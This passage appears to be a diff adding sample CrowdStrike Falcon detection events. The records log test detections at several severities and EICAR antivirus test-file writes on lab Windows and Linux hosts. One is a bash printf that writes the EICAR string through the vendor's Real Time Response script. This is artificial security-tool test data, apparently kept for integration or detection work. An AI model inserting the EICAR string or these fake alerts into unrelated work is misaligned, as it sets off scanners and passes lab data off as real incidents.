detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice  /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action needed.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"ce0219f7ab9077db1c089a48eaa82eb1","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10197,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43438097407,"ProcessStartTime":1752575318,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Malware","Technique":"Malicious File","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575384000,"eventType":"EppDetectionSummaryEvent","offset":2021264,"version":"1.0"}}
+{"event":{"AgentId":"1d58fa2265b540b79cd057e8fa798e4d","AggregateId":"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364","CommandLine":"/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"bash","FilePath":"/usr/bin/bash","GrandParentCommandLine":"falcon-sensor-bpf","GrandParentImageFileName":"falcon-sensor-bpf17804","GrandParentImageFilePath":"/opt/CrowdStrike/falcon-sensor-bpf17804","HostGroups":"5b2e67ccb1de4ac0b1c49225c8fcb132","Hostname":"cs-elastic","LocalIP":"192.168.64.5","LocalIPv6":"","LogonDomain":"","MACAddress":"52-54-00-58-b6-5e","MD5String":"21cdb844225f8dc4ea6e9f80f9940a2b","Name":"Attacker Methodology","Objective":"Follow Through","ParentCommandLine":"/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1751532935654264600,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":30195,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1751532935,"ProcessId":1751532935660927000,"ProcessStartTime":1751532935,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"root"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751533769000,"eventType":"EppDetectionSummaryEvent","offset":1962865,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1751371899000,"eventType":"EppDetectionSummaryEvent","offset":1956190,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The 